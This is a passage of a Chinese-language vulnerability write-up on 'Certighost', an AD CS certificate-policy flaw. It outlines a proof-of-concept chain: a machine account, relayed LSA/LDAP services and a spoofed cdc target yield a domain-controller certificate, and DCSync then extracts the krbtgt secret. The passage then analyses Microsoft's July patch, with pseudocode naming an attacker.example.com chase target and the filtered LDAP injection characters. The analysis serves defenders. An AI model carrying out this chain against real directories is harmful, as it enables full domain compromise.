0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">此时，攻击者已获得一张由 CA 签名的证书，该证书在受测配置下可作为目标域控制器进行身份验证，并获得了该账户的 Kerberos 凭据缓存。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">步骤 3：DCSync</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">域控制器账户具有目录复制权限。利用获得的Kerberos 凭据，攻击者可以请求账户机密信息，包括 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">krbtgt</span></code><span leaf="">机密。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3212962962962963" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100012968" src="https://wechat2rss.xlab.app/img-proxy/?k=871e3f83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSiaVJwSukdAbVCWoP4bcCXSk64nZ5xOW95ayqpocRp5XfwZdibND1a3IZNkaRLfKBvyBQ2ShPd1LnXib8ZvPROsVakZl5KF7mP2Ss%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">成功执行 DCSync 的输出，显示 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">krbtgt</span></code><span leaf="">账户</span></em></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">概念验证的工作原理</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">脚本在一个进程中完成完整攻击链：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">使用提供的低权限账户连接到 LDAP，发现 CA、域控制器、域 SID 和域 GUID。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ms-DS-MachineAccountQuota</span></code><span leaf="">创建计算机账户，并注册所需的服务主体名称。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">启动本地 LSA 和 LDAP 服务。这些服务将 CA 的身份验证质询中继到真实域控制器，使 chase 端点被接受为有效的域主体。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">提交包含 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cdc</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">rmd</span></code><span leaf="">属性的证书请求。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">接收携带目标域控制器身份数据的证书，包括身份验证流程使用的 SID 和 DNS 名称数据。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">使用证书作为目标域控制器进行身份验证，并写入生成的凭据缓存。</span></p></li></ol><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">更新后的行为</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2026 年 7 月的更新改变了 CA 端的请求处理路径。在继续 chase 之前，CA 会根据 Active Directory 验证提供的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cdc</span></code><span leaf="">目标。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">更新在主体加载路径中增加了验证步骤。当验证门控处于活动状态时，CA 会检查 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cdc</span></code><span leaf="">中提供的主机名是否在真实目录中解析为合法的域控制器计算机对象，然后才继续 chase。验证失败会将请求引导至错误路径，而非继续 chase。</span></p><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">组件</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">更新前</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">更新后</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Chase 目标</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">CA 跟随请求者提供的目标</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">CA 根据真实目录验证提供的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cdc</span></code><span leaf="">主机名</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">主体查询</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">远程响应被视为权威</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">目标必须解析为合法的域控制器计算机对象</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">证书身份数据</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">返回的 SID 和主机名可能受攻击者控制</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">解析仅在目标验证和后续 SID 比较通过后进行</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">证书请求结果</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">伪造的 chase 响应可能导致证书签发</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">验证失败或 SID 不匹配会进入错误路径</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">修复解决了使 Certighost 成为可能的信任边界：chase 端点不再仅因其作为域主体响应而被接受。7 月的二进制文件包含围绕新验证的门控，因此该保护在该门控及其验证路径处于活动状态时生效。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">下图总结了 7 月更新后的路径。它展示了 CA 在继续 chase 之前必须通过哪些检查，以及哪些检查会在此前阻止请求。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0148148148148148" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100012969" src="https://wechat2rss.xlab.app/img-proxy/?k=21739246&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSj2UA3voWhcLuxQjehGQwZUKuaUc3MaIhW7iaW8IYaW0edzNMWuibSbWmudxkWiaWRP3kImdsb2mO0xbLKwdZCcRQNSa3gjiawP6T8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">7 月更新流程：CA 在允许追踪 chase 继续之前，根据 AD 验证 chase 目标。</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">从上到下阅读该图：请求进入验证路径，每个检查回答一个是非问题，请求必须在 chase 继续之前通过每个检查。未通过的检查会在此前停止请求。每个检查背后的具体条件——长度和字符检查、域控制器计算机对象要求，以及解析后的 SID 比较——在下文段落中描述。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">验证函数拒绝过长和 IP 字面量的目标，在构造 LDAP 查询之前阻止过滤字符集，并要求唯一的计算机对象且其 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">userAccountControl</span></code><span leaf="">包含 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SERVER_TRUST_ACCOUNT</span></code><span leaf="">（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">8192</span></code><span leaf="">）。如果第一次目录搜索没有匹配结果，代码会使用提取的基准 DN 重试。加载器仅在验证成功返回后才到达引用续接路径；它还包含一个后续的解析 SID 比较。这些控制流观察已与哈希匹配的 7 月 DLL 进行了核对。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">详细的补丁后流程：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">1. User submits cert enrollment request with cdc=&#34;attacker.example.com&#34;</span><span leaf=""><br/></span><span leaf="">2. _LoadPrincipalObject() calls _GetDSObject() -&gt; fails (referral needed)</span><span leaf=""><br/></span><span leaf="">3. polGetRequestAttribute(&#34;cdc&#34;, &amp;bstrString) -&gt; reads attacker&#39;s hostname</span><span leaf=""><br/></span><span leaf="">4. NEW: Feature_3185813818 check (servicing flag)</span><span leaf=""><br/></span><span leaf="">   - DISABLED -&gt; old behavior (backward compat)</span><span leaf=""><br/></span><span leaf="">   - ENABLED -&gt; _ValidateChaseTargetIsDC(bstrString)</span><span leaf=""><br/></span><span leaf="">      - Reject if empty</span><span leaf=""><br/></span><span leaf="">      - Reject if &gt; 260 chars</span><span leaf=""><br/></span><span leaf="">      - Reject if IPv4 address (RtlIpv4StringToAddressW)</span><span leaf=""><br/></span><span leaf="">      - Reject if IPv6 address (RtlIpv6StringToAddressW)</span><span leaf=""><br/></span><span leaf="">      - Reject if contains LDAP injection chars: ( ) * [ \ ]</span><span leaf=""><br/></span><span leaf="">      - LDAP search: (&amp;(objectCategory=computer)(dNSHostName=&lt;target&gt;)</span><span leaf=""><br/></span><span leaf="">                       (userAccountControl:1.2.840.113556.1.4.803:=8192))</span><span leaf=""><br/></span><span leaf="">         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC</span><span leaf=""><br/></span><span leaf="">         - If 0 results -&gt; try with extracted base DN (_ExtractBaseDNForDCSearch)</span><span leaf=""><br/></span><span leaf="">         - If still 0 -&gt; REJECT</span><span leaf=""><br/></span><span leaf="">5. Only if validation passes -&gt; _GetDSObject(a2, 1, bstrString) -&gt; connect to verified DC</span><span leaf=""><br/></span><span leaf="">6. NEW: _GetObjectSID() -&gt; verify resolved object&#39;s SID matches requester&#39;s SID</span><span leaf=""><br/></span><span leaf="">   - If SID mismatch -&gt; REJECT (prevents object substitution)</span></code></pre><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">代码分析</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">概念验证展示了影响，而代码路径解释了根本原因。相关逻辑位于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certpdef.dll</span></code><span leaf="">中，这是由 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certsrv.exe</span></code><span leaf="">加载的 AD CS 证书策略企业模块。存在漏洞的行为位于请求主体加载路径中，该路径在解析请求者身份时使用请求中提供的属性。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们对比 6 月和 7 月的构建版本，因为 6 月是存在漏洞的基线版本，7 月是微软的补丁版本。这使得 7 月新增的函数成为定位修复的有用标记。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">请求路径中涉及的关键函数如下：</span></p><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">构建版本</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">函数</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">重要性说明</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">6 月 / 存在漏洞</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CRequestInstance::_LoadPrincipalObject</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">存在漏洞的集成点；读取请求者控制的 chase 目标。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">6 月 / 存在漏洞</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CRequestInstance::_GetDSObject</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">目录查询/chase 汇点，使用未受信任的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cdc</span></code><span leaf="">主机到达。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">6 月 / 存在漏洞</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CRequestInstance::_GetObjectSID</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">7 月身份验证更改之前的原始 SID 获取路径。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">7 月 / 已修补</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CRequestInstance::_ExtractBaseDNForDCSearch</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">DC 验证 LDAP 搜索使用的辅助函数。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">7 月 / 已修补</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CRequestInstance::_ValidateChaseTargetIsDC</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">验证 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, 